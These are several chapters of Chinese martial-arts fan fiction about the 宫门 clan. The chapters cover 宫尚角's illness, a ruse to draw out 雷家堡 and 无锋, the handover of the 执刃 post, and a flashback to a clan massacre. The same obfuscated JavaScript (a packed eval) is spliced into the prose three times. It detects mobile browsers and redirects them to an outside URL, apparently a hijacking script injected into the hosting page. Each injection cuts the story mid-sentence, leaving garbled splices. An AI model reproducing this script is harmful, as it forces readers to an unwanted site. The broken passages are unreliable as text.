“呸呸呸!”金繁一巴掌撩在他背上,咬着后槽牙说道,“你这张破嘴,说什么呢?真亏得宫尚角能忍!” 厅内,那忍耐力极强的人正从传信的小竹筒中抽出一卷纸条,递给宫子羽:“这是盯云为衫的人送来的密报。与她交谈的人应当来自雷家堡,他们提到,四年前,宫唤羽在拿到无量流火图纸后,第一时间绘制副本送给了雷家。至于这样做的目的是什么,不如还是当事人自己来说吧。” 宫子羽草草看完那密报,将纸条转递给花长老,板着脸看向宫唤羽:“四年前你说偷无量流火图纸是为了灭无锋,我虽无法原谅你残害至亲,但勉强还能理解你的想法。可你明知道多年来雷家堡常常仗着火器明抢宫门的生意,为何还要将图纸给雷家?” 宫唤羽显得无动于衷:“雷家堡虽是宫门生意上的对家,却也是无锋的仇敌,敌人的敌人,为何不能做朋友?既然你们都不愿让无量流火现世,那也怪不得我假借他人之手。” 他顿了顿,忽又露出几分诧异来:“不过,无论如何,那都是四年前的事了,现在再来翻这笔旧账,又是什么意思?” “现下雷家的人找上了云为衫,要与她合作,窃取子羽背上的下半部密文!”雪长老放下纸条,紧锁住眉头,“可一旦成婚,便涉及行房之事,要让她看不到那密文,只怕很难。” 众人一时都陷入沉默,雷家堡的突然介入令人始料未及,谁也不知道他们为何会突然倒戈,他们到底与无锋达成了什么交易。 “要不,先把婚事停下来?……”月长老迟疑着说道。 “不可!”花长老立即挥袖打断他,“子羽娃娃大婚的消息早已传遍江湖,这时停下来算什么?四年前无锋搅得宫门选婚不成,如今又将婚事一拖再拖,岂不让整个江湖以为我们怕了无锋?这种时候,宫门若不硬气一些,恐怕要让那些与我们联手的帮派寒了心!” 老人家声如洪钟,说得人耳畔嗡嗡作响,末了又将拐杖用力墩了两下,坐在榻上的人都能感受到那震动。 宫尚角揉了揉耳朵,强压下喉管里的滞涩:“花长老先别急,我既然请各位来商议此事,便是已有了想法,只是……有些冒险。” 他的声音喑哑,但足以将众人的目光聚焦到自己身上。 花长老一拍大腿,满眼又是急迫又是怜惜:“你这娃娃,身体这么难受,就别卖关子啦,赶紧说完赶紧回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240024|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躺着!” 宫尚角便乖乖地颔首称是,调匀气息,再度开口:“在此之前,我还有两个问题要确认一下。” 他转向宫唤羽:“第一,你当初转交无量流火图纸时,是否告诉过雷家的人,另一半密文就在执刃背上?” 宫唤羽凝视着他,似是想从他脸上看出点什么。片刻后,他失望地说道:“当然没有。这件事,我原本也是不知道的。我那时只是想胁迫云为衫,逼子羽自行交出另一半图样。” 宫尚角点点头,又转向宫子羽:“第二,我曾听雪长老提过,那密文靠气血显形,人一旦过世,身上的刺字就会逐步消失。当时老执刃背上的经文尚未刺完,是因你过目不忘,记得儿时曾在老执刃背上见过,这才补全了后文。” 宫子羽与雪长老对视了一眼,怔怔道:“确实是这样。但……这又有什么关系?” “你现在可还记得这密文?” “当然记得……你的意思是……?” “自然是要替你洗去密文!”宫远徵适时推门而入,一放下手中沉重药匣,先去探他哥的脉搏,知道无恙后才松了口气。 “褪色的药水费了我些功夫,可能会很疼。我带的麻药不多,你得忍忍。”他一边对宫子羽说着,一边展开那匣子,露出里面满满当当几大排药瓶。 “等一等!你先等一等!”几个长老都还没反应过来,宫子羽见宫远徵这就打算动手,连忙将他拦下,“你们的办法我已了解,可你们有没有想过,若我突然死亡,又该如何?到时便连一份副本也没有,那么无量流火可就真的要失传了!” “谁说一份副本也没有?”宫尚角平静地看着他,目光如同一汪深潭,“这密文,也不一定非要在执刃身上。你可以将经文写下来藏匿他处,也可以另择可靠之人……” “不可!”遇到这样的事,雪长老素来都是第一个站出来反对,“宫门百年来从来没有这样的规矩,这密文从来便是在执刃背上,这……” 然而他话到一半,就又被花长老一挥手截断:“怎么不可?我看这倒是个好主意,总比明晃晃地让人看去了强!往日就是因为你们这些人太老古板,才生了这么多事端——要我说,这宫门里不合理的规矩,该改的就改,该破的就破!” 话到这里,他突然挠挠头,嘟囔道:“哦,这话好像不是我说的。是从哪里听到的来着?……无论谁说的,老夫以为他讲得在理!” 原话的主人并不表功,只是抿着嘴恬然笑笑:“看来花长老是支持我了。那么,月长老呢?” 月长老不是老古板,他当然知道这已算是眼下良策。只是他还记得云雀:“别低估了无锋,他们没那么好骗。雷家不知道密文在执刃身上,但不代表无锋的人也不知道。” “说的也是……”宫尚角轻轻叹了口气。似是有些累了,他将身体向后靠靠,声音也变得更加杳不可闻:“……那便还有个法子。” “什么法子?”察觉到他的异样,宫远徵和宫子羽同时靠了过来。 屋外不知何时又笼起浓云,角公子在这突如其来的至暗中失焦望向两人,忽然道出句震惊满堂的话来:“这宫门执刃,不如换个人来当。” 霹雳炸响,声动四极。议事厅外忽又惊起魆风骤雨。 8. 十三·十四 (十三) 冬日鼓雷,大凶之兆。 雪长老从座中惊起,指目呼道:“尚角,你真是病糊涂了?” 花长老也变了颜色:“远徵娃娃,先把你哥哥送回去!” 然屋外冲飚荡宇,席卷而来,商羊夔舞,瞬间倾盆,虽有下人加紧闭户关窗,仍不敌朔风侵入,将寒霖泼向他们。 宫子羽忙背身替宫尚角遮雨,却发现暖榻另一侧宫远徵神色大变,慌张间握紧了他哥的手:“月长老,哥哥在发抖!” ——他的声音也在发抖。 月长老三步并两步赶到角公子跟前,甚至已来不及诊脉:“药带了么?” 宫尚角说不出话,紧闭着眼轻轻点头。月长老便从他怀间摸出那似曾相识的小药瓶,直接伸手将墨色的药粒喂给他。 狂风摇桓,但厉雨总算被挡在门外。 月长老重舒眉心,迎着一屋子人迫切的目光站起身:“还是胸痹痛症,算不得十分严重,只是来得太急,看着吓人。” “……心疾?”宫远徵愣怔抬眼。从那神情便知,宫尚角根本不曾与他提过这病症来由。 犹豫片刻,宫子羽也只是安抚地拍了拍弟弟的肩头。 “有月长老的药在,无碍。”宫尚角已重新睁开双眼,将另一只手按上弟弟紧攥他的那只,“远徵,松手……” 那手指触感冰凉,宫远徵恍如从梦中惊觉,这才发现哥哥的虎口已被他掐出红印。 多时未曾开口的宫唤羽蓦地爆出一声怪笑:“宫尚角啊宫尚角,你打算用这副身骨去争执刃么?” 他仿佛刚看了场天大的笑话,笑得前仰后合,牵扯着手脚锁链哗哗作响。 宫尚角懒得驳他,垂着眉眼待他笑完,才低声反问:“谁与你说我要争执刃?” 他的目光从宫唤羽身上略过,用余光带到三位长老,最终落向宫子羽眼中:“子羽弟弟,这执刃之位,我还需要争吗?” * 古人云:天冬雷,地必震。 宫门执刃大婚前两日,旧尘山谷降下一场暴雨,电闪雷鸣,撕裂天地,低洼之处,转瞬汪洋。谷中多处民房被毁,给即将到来的寒冬笼上一层阴云。 饶是如此,宫门的婚典仍然如期举行,只是不开江门,不酬宾客,不设燕饮。 同日,宫门对外发布一则公告:执刃宫子羽在位四年,庸碌无能,绠短汲深,不堪大任。而今天现异兆,殃及百姓,宫门为顺应天道,免去宫子羽执刃之位,以角宫宫主宫尚角暂摄其篆。 消息一出,江湖震荡—— “变天了,宫门这是变天了!” “多半是那草包执刃不顾异象,执意娶亲,惹怒了宫门中人。” “听闻四年前宫门突发变故,才让宫子羽一个纨绔子弟捡了便宜。这执刃之位原本就该是宫二的。如今宫门推了这弃子出来塞责,可宫尚角为何不直接继任?” “难道传闻是真的,宫尚角快要死了?……” 对此,宫门的盟友们表现得甚为乐观—— “别瞎说!宫二先生行事凌厉,与前两任执刃作风完全不同,想是宫门内部意见尚未统一。” “角公子成为执刃是迟早的事,这一回,无锋的好日子算是到头喽!” “无锋手握不少大派把柄,这两年大有卷土重来之势,宫门早该出手了!” “没错,只要宫门下定决心,剿灭无锋指日可待。宫二先生可不是吃素的!……” 不过宫二先生确实是吃素的。 他的面前摆着商宫送来的七荤八素,他却只挑些清淡小菜,一小口一小口地吃着,比那些大家闺秀看起来还要斯文。 作为“大家闺秀”的宫紫商终于按捺不住,率先撂下筷子:“宫尚角你倒是说句话呀!现在到底什么情况?” “就是大小姐看到的那样。”宫尚角面色如常,正从素碟中夹起一只藕片,“紫商姐姐不想我做执刃么?” 说实话,他的手抖得实在有些厉害,那清透的藕片黏着汁液从他箸下脱出,堪堪落入碗中。 宫紫商忍下想帮他夹菜的念头,拍案而起:“装什么糊涂,我说的是这事嘛?!” 宫尚角于是叹了口气,坦白道:“宫唤羽昨夜逃出地牢,放倒角宫十几名守卫,打伤金复……接下来发生了什么,你得去问宫子羽,我不清楚。” 宫紫商气冲冲越过桌案,探身过去:“你呢?伤哪了?” 要不是知道宫尚角禁不住折腾,她现在已经上手了。 宫岸角还是拦了她一下,五指成圈,在胸前摇了摇。这个手势宫紫商刚好能看懂,他说的是:一切安好。 “……是我蠢还是你们蠢?四年前他差点杀了我,你怎么还敢让他靠近你?” “宫唤羽既然答应做戏,就不会下死手。他想要的是无量流火,不是我的命。” “可他是个疯子!” “他若不是个疯子,我还怕雷家的人不会上钩。” 宫紫商深吸了口气,将脸皱在一起,对这一切感到不可理喻:“宫尚角,你到底想干什么呀……” 宫尚角撇了撇嘴角,轻轻复述起他说服宫子羽的话:“得逼无锋赶紧行动起来……不能再这样拖下去了。” * 事实上,那日宫尚角与宫子羽和三位长老说的是:“得逼无锋赶紧行动起来,我只有这个冬天了。” 昨夜,宫子羽迷晕角宫侍卫,在赶去地牢放人之前来找过他,郑重其事地将一卷帛书交到他手上:“无量流火的全部经文我都默写在这里了,至于如何处理,由你决定。但你记好了宫尚角,这密文仅此一份,只有你才知道它的下落—— “所以,你必须好好活下去!” 是夜新月如钩,景星长明。庆云现,紫气生。 · · · (十四) “我道他们宫门是铁板一块,如今看来不过尔尔!老弟,杀了宫尚角,我请你去万花楼喝酒,如何?” 停在偏厅檐角上的人约莫五尺高,样貌宛若孩童,音色却异常粗犷,虽只是平平常常说话,声音却能在整个角宫上空层层回荡。 “好哇!早就听闻旧尘山谷的万花楼有位绿莺姑娘,弹得一手好箜篌,想必与我定能成为知音!” 落在回廊下的人留着两撇风流倜傥的小胡须,答话时兴奋地挥动着手中铁箫。随着他的动作,廊檐下的所有灯笼齐齐掉落,瞬间碎裂成数片。 “屁!你那铁箫里全是火器和暗器,如何吹出声?还知‘音’,我看是五音不全的‘音’吧?” “哼!你这黄毛小儿身上倒是比刚薅了毛的猪还干净,还妄想喝花酒,没一点自知之明!” “你敢羞辱我?” “是你先骂我的!” “……” 两人越骂越凶,眼看就要动起手来,角宫的主室便在这时传出了第三个声音:“原来是雷家堡的洪钟童子和铁箫先生大驾光临。两位,何不给主人家一个面子,以和为贵?” 那人没用内力,连音量也放得极低,但对于功夫深厚之人来说,已足够清晰。 “哈,宫尚角!”衣袂翻飞间,两人都到了门口,铁箫先生已举起了手中的箫,“多时不见,宫二先生如今只敢躲在屋子里,不敢出来见人了么?” 话音未落,大门忽然半开,一道寒光从里面射出来,“当”的一声击在铁箫之上,尔后调转方向,朝洪钟童子的眉心直扎过去。 洪钟童子睁大眼睛,即刻扎稳马步暴喝一声——那把铁蒺藜竟在音波冲击之下生生失了势头,垂直掉落下去。 “好厉害的暗器!”洪钟童子低头望了那铁蒺藜一眼,抹了一把冷汗,抚掌大笑起来,“传闻宫门中有位绝顶的毒药暗器天才,看来今日也在这里。” “我留了一手,只是不想让你死的太快。”屋内传来少年人清朗的声音,“但你们若不自量力,那我可就不客气了!” “哦?徵公子想以一敌二?未免也太看不起我们两位前辈了!”铁箫先生话未说完,人已朝厅内奔了过去。 然而他才刚到门口,便感受到一阵寒风。一柄刀忽然猛地撞在他的箫上,刚好是之前被铁蒺藜击中的位置。 那铁箫登时裂成两半,只听“哗啦啦”数声,里面的暗器并着火器滚进墨池,水花溅了一地。 “宫尚角,你没事?”铁箫先生握着被震出鲜血的虎口,一脸惊疑地叫道。 “他不是宫尚角!”洪钟童子从他身边闪身而过,一个燕子三抄水越过墨池,变手为爪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240025|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直取正中书案方向。 ——那才是宫尚角。 角公子此刻就坐在那张书案之后,身披苍青织金大氅,面上毫无血色,只有一双眼睛闪烁着寒芒:“你们要打便出去打,别在这里,脏了我的墨池。” 他说话的同时打了手势,宫岸角与宫远徵对望一眼,各自一伸脚,将两个正在往里冲的人一前一后踹了出去。 外面的战势似乎很是激烈,又似乎只是一边倒,因为宫尚角只能听到洪钟童子和铁箫先生的怪叫。 小火炉发出“咕嘟嘟”的响声,他扶着桌案缓缓站起来,一步步走向茶台。 “哥!你怎么自己起来了!”宫远徵回来得很快,甚至来不及擦干净身上的血。 宫尚角掏出手帕,替他细细拭去残留在额角的血迹,关心地问道:“受伤了么?” “当然没有!”宫远徵带些自傲地扬起下巴,“这两个怂货怎么会是我们的对手?” “那就好。”宫尚角这才将整个人靠过去,放心从弟弟那里借些力气。 一盏茶后,宫岸角也回到屋内:【死了一个。】 “我那个死了。”宫远徵于是解释,“我还以为那个什么童子有多厉害,才中了我第二种暗器,他就受不了了!” 宫尚角却不以为然地摇摇头:“别掉以轻心。这两个人,在雷家堡也只是排不上号的小角色而已。” 宫远徵神色一凝:“雷家派了这两头货来,难道就是为了试探哥哥到底是不是真的生病?” 宫尚角放下茶杯,微微眯起眼睛:“他们的确是来试探的,不过……” “不过应该不是来试探你,”屋外,宫子羽将话接过,迈过门槛,信步走进来,“而是来试探你。” 他转过头,看向与他并肩的宫岸角,却发现对方并没有看他,或许也并未听到他刚才所说的话。 宫子羽神色暗了暗,片刻后,伸手轻轻拍了拍他,待后者转头,才继续说道:“可惜,他们现在已经知道了,角宫里还有个绝顶高手。” 宫尚角带着笑意注视着两人的互动,说道:“知道了也不是件坏事。我可受不了他们三天两头来我这里折腾。” 宫子羽便哼了一声:“代执刃大人是在讽刺我羽宫防卫不力么?”他说着,自顾自走过去挨着宫尚角坐下,只当没看见宫远徵瞪他那一眼。 宫尚角又打了手势,于是宫岸角反手将门关上,也走过来坐到宫远徵旁边。 “刚才那意思是关门?”宫子羽好奇地打量着他们。 “是‘过来,坐’。”宫尚角便又放慢速度,将两个手势依次打了一遍。 “你不是号称过目不忘么?这点手语,对你来说应该算不得什么难事。”宫远徵依旧没忘记揶揄。 宫子羽自然不肯服输:“我当然能够很快学会,不过我看你们……好像都很熟练?”他又抬起头看向宫岸角,“我听宫岚角提过,你们姐弟二人虽来自外门旁支,却已经和角公子认识很长时间了。” 宫岸角点点头,快速比了三个手势,前两个宫子羽认得,是“十四”。宫子羽自己也伸出手来,右手食指顺着左拳的骨节划下去,将那最后一个手势照着比了一遍。 “十四……年?” “是啊,十四年。”宫尚角微微扬首,目光中难得一见地闪动着些许情绪。 “——宫门惨案发生的那一年。” * 今日早间,宫子羽曾去过一次长老院。 他已不是执刃,可长老们仍如旧时一般一大早将他叫了去。 宫子羽有些意外,但转念一想也对:总不能真的把一切责任都推给一个病人。 “子羽,都布置好了么?”雪长老问道。 宫子羽确认:“宫远徵和宫岸角守着呢,我也会在角宫外看着,相信不会有事的。” 雪长老点了点头,可是神情并没有放松下来。 花长老与雪、月两位分别对视一眼,忽从怀中抽出一份带着角宫印信的文书,递了过来:“这是尚角昨夜送来的,我们想了想,还是要交给你来保管。” 宫子羽诧异地看着上面的封蜡,又望了望三位长老此刻如蜡般的脸色,问道:“这上面写的是什么?” “是角宫宫主任命的下一任继承人。” 9. 十五·十六 (十五) 残阳如血,子规泣涕。十七岁的宫尚角目眦欲裂地看着眼前的恐怖场景,已分不清糊住眼帘的是汗,是泪,还是血。 他的叔伯亲长们仍在前仆后继,他只恨自己手里的刀还不够快,不够锋利。 苦苦支撑的身体已然麻木僵硬,他觉得自己谁也护不了,谁都留不住…… 前方,满身是血的宫鸿羽反手击退了一名无锋,想要扶起倒在地上的宫流商,却发现商宫宫主被砍中的是腰椎,下半身已如同一滩死物。 他有些失措地回首瞻望,正好撞见仍机械挥舞着手中佩刀的宫尚角。 宫鸿羽站起来冲过去,将少年猛地向后一推,大吼道:“你给我退下去!” 接着不等宫尚角出声反对,老执刃当场下了死令:“角宫的人听着,保护好你们的角公子!宫氏一族的血脉不能断,宫门的下一代,一个都不能死!” 角宫负责江湖营生,他们的人大多数都不在宫门内。可就是那寥寥几位父辈族亲,用他们的鲜血践行了老执刃的命令。 宫尚角终于从成堆的尸体中活下来,可当他挣扎着赶回角宫,看到的却是躺在血泊中的母亲和朗弟弟。 ——谁都没有料到,宫门唯一一个死在那场战役中的下一代,会是已故角宫宫主的遗腹子,现任角公子的亲弟弟。 那晚宫尚角哪里都没有去。泠夫人和宫朗角的遗体已经入殓,而他却在血泊里跪了整整一夜。平明时,他对着血光中的白日暗暗发誓:自今日始,他将以性命捍卫宫门族人的每一滴血…… 凛冬方兴,风雪未艾。七岁的宫远徵坐在角宫庭院里看着他练完一整套刀法,仰起冻得通红的小脸:“我不是你的亲弟弟,你也愿意用自己的命来保护我吗?” 他收刀入鞘,将弟弟搂进怀中:“只要是宫氏一族的亲人,我都愿意用性命来守护。” 那些幼失怙恃的孩子也是他的亲人。 宫尚角一一走访过逝去族亲的家,把那些孤儿全部接进了角宫。 他曾听那位帮他打理质库的远房族叔提过他早逝的妻子,和家中一对年幼的儿女。十岁的女孩子那时已开始懂事,看他的眼神充满怨怼,而她那尚在龆龀的小弟弟却对他的声音毫无反应。 这许多年里,宫尚角忙于外务,几乎很少有整几个月的时间安安稳稳留在宫门。那个小姑娘却在角宫中成长,渐明事理,性格不再似从前那般偏激。成年后,她成为角宫新一代中的翘楚,因而被角公子挑中,随他一同外勤。 她跟着他风里来雨里去,出生入死,奔波劳碌,她以为角公子早已忘记了往事,直到,他在她弟弟加入的那日打起熟练的手语。 宫尚角从来没有忘记过他们。这十余年里,他几乎每一次外出归家,都会去探望那先天失聪的孩子,问问他近况,亲自指点他刀法。他告诉他:只有练好了功夫才不会被人欺负,只有练好了功夫才能守护宫门,保护他们的亲人。 如今,两个孩子都在这里,真真正正地守护着宫门,也保护着他。 * 宫子羽将他先后从父亲、前月长老和宫岚角口中听到的故事拼凑到一起,才大致了解了这段往事的全貌。 宫尚角不会告诉他这么多,而宫岸角的手语他还并不能理解。 “没别的事我先回去了。云夫人只是差我来看看角公子是否无恙。”宫岚角已迅速敛去眼中情绪,正色提醒宫子羽她出来太久,可能会引人怀疑。 在喜怒不形于色这点上,她和角公子真的很像。 宫子羽略带思索摸了摸下巴:“我猜,她应该已经知道你不是侍女了。” 他又望向角宫的主人:“要让岚角撤回来么?” 宫尚角摇摇头:“我这里用不到她。岚角留在羽宫可以帮到你,对云为衫也是牵制。” ——他们都没想到云为衫会将离开宫门去见雷家人的事全盘托出。她说她在中秋火器大会时就已被雷家堡找上,当时为了自保假意答应,而今既然下定决心回到宫门,便想着替宫门除掉这个祸患。 单从她说的这番话来讲,似乎并没有太大的问题。所以宫尚角选择配合这次行动,一则测试云为衫所言虚实,二则探探雷家堡和无锋究竟有何图谋。 现下铁箫先生已被他们故意放走,按照云为衫的说法,对方就算明知是陷阱也一定会有所行动。 因为,宫尚角身边的人越强就越能说明一个问题:要么是他真的已经无力自保,要么就是无量流火真的在他手里。 “你相信她说的话么?”宫子羽的脸上袒露着些许困惑。 “与她成亲的又不是我。这个问题,不是该我问你?”宫尚角将那困惑反抛回去。 他示意宫岚角和宫岸角先离开,然后顺手取了小瓢,向长时沸煮的茶鍑中添了些水。 他的手仍然很不稳,宫远徵见状立即站起来,将茶瓢和水方从他哥哥手里接下来。 宫子羽便也极顺手地接过那只骨节分明的手,仔细端详起来:手的主人常年握刀,指根和关节处留有明显的刀茧,可这只手此刻却冰凉无力,决计握不起任何刀来。 “这手究竟为何会抖成这样?……” 所幸宫远徵正忙着点茶,没有注意这一幕,宫尚角迅速将手抽了回来:“月长老说是久病伤阴,筋脉失养所致。” “我听说雪宫已将内门秘法传授于你。雪长老说,溯雪绝与你自身的心法苦寒三川经最是相称,应是极有利于修复经络的。” “是。多亏有溯雪绝,否则我只怕现在还躺在榻上。” “既然身体已经渐渐好转,你这又是在干什么呢?”宫子羽突然换上质问口气,将那只带着角宫封蜡的文书掷出来。 小竹筒在案上转了个圈,却仍然滚回宫子羽手边。 宫尚角并不意外。他早就想到以宫子羽的个性,若知文书内容必定不依不饶。他将东西交到长老院,本意也是不想让他知道得太快。可谁知…… 角公子无奈地笑了笑:“你将无量流火的密文强塞给我,自己却连份任命书都不敢接么?……” 他继而收笑,再开口时声音中多了几分严厉:“人选我已提前交代给你,至于如何考核历练,是你自己的事。这宫门执刃的重担,我不可能替你扛一辈子!” * 宫子羽总是来得匆匆,撤得也匆匆。 宫远徵将刚刚点好的茶放在案上,叹了口气:“早知道哥又要把他骂走,我就少点这一份了。” 心口传来阵阵绞痛,宫尚角只觉得那痛意正沿着奇经八脉冲向四肢百骸。他轻轻闭了闭眼睛:“我累了,远徵。” 宫远徵明显看出他的不适,用轻声细语掩饰着翻涌的心绪:“既然那么累了,为什么还不肯说实话?哥的手之所以会抖成那样,明明是因为毒入脏腑,筋脉衰竭!……否则哥何必瞒着我们,偷偷地交代什么后事?……” 银铃摇晃,撞出绵延的哑音。 宫远徵背转过身,以为这样哥哥便不会发现他失控落泪,可颤抖的脊背却将他出卖得彻底。 …… 那年凛冬,风雪未艾。 七岁的宫远徵被哥哥揽在怀里,仰着冻得通红的小脸:“可你也是我们的亲人,你用自己的命来守护我们,谁来守护你呢?” 哥哥怔了怔,守护过他的人已然化作累累白骨,他不想再让这样的事情发生。 “不过没关系!”那小团子却不管不顾地从他怀里钻出来,站到他对面,郑重其事拍拍自己的胸脯,“等我长大了,学好功夫,就能保护哥哥了!到那时,哥哥就安心地守护亲人,而我,就负责守护好你!” …… 仲冬伊始,午后天际飘起零星的雪。 但宫远徵转回头时目光炙热,如同那茶鍑之下煊赫的烈火:“哥不让我碰那毒,我可以不碰。但我绝不允许哥哥再这样坐以待毙了!” 惊讶于弟弟突然的强硬与决绝,宫尚角忍痛扯出一撇笑意:“只要你不伤害自己,怎么都可以。” 他顿了顿,忽又露出一丝无辜:“可是远徵,我真的不是在交代后事啊……” · · · (十六) 晨光熹微,敌不过天地肃杀之气。寒意将夜露凝成朝霜,铺了白茫茫一片。 金复踏霜而来,也被这彻骨凉意激得打了个寒颤,抬头看见角宫主室竟开着半扇窗,不禁大惊失色:“公子,您怎么自己站在窗边!” 他赶紧推门进去,掩了窗,将刚刚好不容易走到窗前的人又扶回榻上:“公子穿的这么少,等下徵公子又该骂我了……” 宫尚角哭笑不得地看了看自己身上厚厚的两层裘袄:这还叫少么?……罢了,念在金复才刚刚返岗,就当是他也畏寒好了。 “身上的伤可都好了?” “都好了。宫唤羽没下重手,我本来也没什么大碍。” 屋中的火炉烧了一夜,已有些凉了。金复熟练地添了新炭,正打算将烧剩的炭渣清出去扔了,却突然发现茶案上还伏着一个人。 “他……”金复拎着炭夹,站在原地愣了愣。 宫尚角叹了口气:“先让他睡会儿吧。这两日你不在,他都不敢合眼。” 金复便也跟着主人叹息一声:“真不知听不见是好还是不好。不睁大眼睛看着,便什么也不知道,倒是不用担心别人会吵了他休息。” “他好不好另说,你这张嘴,欠打是真的!” 许久未从宫尚角口中听到这般调侃,金复惊喜地“咦”了一声:“我瞧着公子的身体是比前些时候好多了,都有兴致开玩笑了!” “……谁告诉你我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而那位年轻的花公子他见的就更少,直到上次在花宫一叙他才发现,关心他们的人,或许远比他们所知更多。 那些关心着他的人,也远比他想的更关心他。就比如,他那身为商宫宫主的姐姐。 十七岁那年,他一肩挑起角宫重任,此后他是宫门人敬重的角宫宫主,是江湖人畏惧的宫二先生,是朋友或对手,是兄长和榜样,却唯独,不再是需要被任何人关照和爱护的对象。 只有同守商宫十四年的宫紫商会对他说:“我是你的姐姐。” 他知道宫门的大小姐只是看上去没心没肺,她这样说,便是打心底里这样认为。 至于宫子羽…… 他承认,他有时待这个弟弟太过严苛。但那是宫门执刃,四年前是,往后依然会是。统领整个宫门的人,又怎么可以是一个意气用事的软弱之人? 其实他何尝不知那并非意气和懦弱,而是一颗闪闪发亮的赤子之心。老执刃将这小儿子养得极好,如果可以,他也想将这颗赤子之心继续守护下去……如果可以。 所以,他只能装作看不到,看不到那双渴望他认可的眼睛,也看不到那些为盼他良愈而做的努力。因为他不重要,宫门的执刃,本就不需要任何人来代理。 还有,远徵——他最放心不下的远徵。 这孩子委实是被他惯坏的,如今虽已成年,却离真正的自立还差得很远。虽然他相信,在如今的宫门,即便没有自己,弟弟也不再是孤身一人,可他怎么舍得呢? 他不爱花草,独独亲手培育这一株优昙,而今它枝繁叶茂,他却似等不到那月下一现。 该是那株昙花自己不愿开罢?那娇弱的茎叶,本应在温室里安然渡冬,眼下却扎根在几近凋零的月桂树下,宁愿把自己也埋入三尺冰封。可他怎么舍得呢? 他想亲手刨出它的根,他想让它离这凛冬远一点,再远一点。可他,怎么舍得呢?……他又该把它栽去哪里呢?…… 他心怀太多不敢表露的心迹和情绪,怕的是一旦宣之于口,日后会让亲人们倍加伤心。 他不畏死,可他并不想死。他其实比任何人都希望自己能够好好活下去。 可是……真的能么? “公子,下雪了!”金复忽又推开一扇窗,对着皑皑白雪发出欣叹。 但只一瞬,他迅速将那窗叶重重合上。 “……公子,你,冷么?”金复无措地看他,像个做错了事的孩子。 大雪纷飞,顷刻间落满庭院。庭中月桂不屈不挠地立在雪中,即便那枝桠已不堪重负,倾折向地面。 几颗大雪粒砸下来,枝上的雪扑簌簌滑落,绽露出枝头稀落的叶。 宫尚角仍勾着唇角:“我不冷。别担心。” 月桂常青,风雪无畏。 10. 十七·十八 (十七) 铺天盖地的大雪断断续续下了数日,将旧尘山谷里的瘴气一扫而空,却也阻断了往来山谷的道路。 宫门派了不少人手外出清障,内部只留下必要的岗哨和侍应,因而就连扫雪这样的事,也不得不劳烦各宫主人。 不过角宫似乎并没有这样的烦恼:一则他们的宫主根本不会在这样的大雪天里出门,二则凡是要来角宫的人,顺道都会将路上的积雪清一清。 恰好,今日找上门来的人并不少—— 宫子羽笼着袖炉从屏风后转出来,吐出一口白烟:“要不我和金繁把你院子里的雪也清了吧,免得上了冻,化雪时就该冷了……” 他说完才发现角宫的主室里还站着两个人,意识到自己今日怕是又到晚了。 “执……羽公子。”率先行礼的是宫门里负责内务的总管事孙诚。他平日与宫子羽见得最多,一时难以改口。 另一人应是旧尘山谷中几处据点的大当家。宫门外的事一向是角公子在管,宫子羽对他印象不深。 这两人都在,应是有什么要紧事。宫子羽正要开口询问,金繁却忽然也跟了进来。 冷风溜着缝渗进门,激得墨池后的人顿时咳出了声。那咳中带喘,令在场众人的心都跟着揪起来。 金繁赶忙返回去将门关严,嘴里还在嘟囔:“屏风也不顶用啊……” 宫尚角并不接话。 案上的薰炉中燃着平喘提神的奇楠沉香,他稍稍平复下来,便重新提笔,继续伏案书写未完成的批注。 碍着人多,宫子羽按捺下多说两句的心思,径自去倒了杯热茶给他,然后俯身凑过去看他写的什么:潦草的字迹中勉强可以辨认出“受损房舍”、“贫户流民”、“饥寒冻馁”等字,宫子羽便大致了解了刚刚的谈话内容。 他自觉坐到宫门的代理执刃身边,轻声道:“你说吧,我来写。” 宫尚角抬眸不带情绪地看了他一眼,便依言递过掭饱了墨的湖笔,接着那行字说下去:“现下雪还未停,出入山谷的道路只能临时开出半条,不如先将山谷内外积压的商贾物资登记造册,分出个轻重缓急来。当务之急是把粮食运进来,其他的都可以放一放。开仓赈济的事孙管事尽管去安排,以宫门的储备,短时接济些灾民不成问题。” 他应是不大舒服,说话时一直皱着眉,停在中段歇了歇,才继续道:“至于修缮房舍,宫门的百工匠人都是商宫在管,倒是可以请大小姐派几个有经验的师傅,去谷中协助百姓。但瓦匠杂役一类,付些工钱请人来做便是了,用不着动用侍卫。” 宫子羽记到这里,立即颔首称是:“没错,能派的侍卫我都派出去了,若再减人手,只恐防守空虚,给了歹人可乘之机。” 宫尚角却不以为然地摇摇头:“现在倒是不必担心这个。大雪封山,进出宫门的只剩水路一条,即便是无锋,也爬不上江门边的万仞高墙。只是……” 他仍然皱着眉,心底不知在盘算什么。 宫子羽迅速将那些批注按内外务重新誊抄了两份,分别交与孙管事和大当家,又问他们是否还有别的事。 对面两人面面相觑,皆是摇头,宫子羽于是嘱咐:“今后像这样的事,同以前一样先来问我。角公子还在养病,用不着事事都来烦他。” 